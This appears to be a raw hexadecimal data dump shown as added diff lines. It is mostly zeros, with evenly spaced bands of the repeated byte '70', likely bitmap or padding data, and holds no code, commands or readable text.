+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 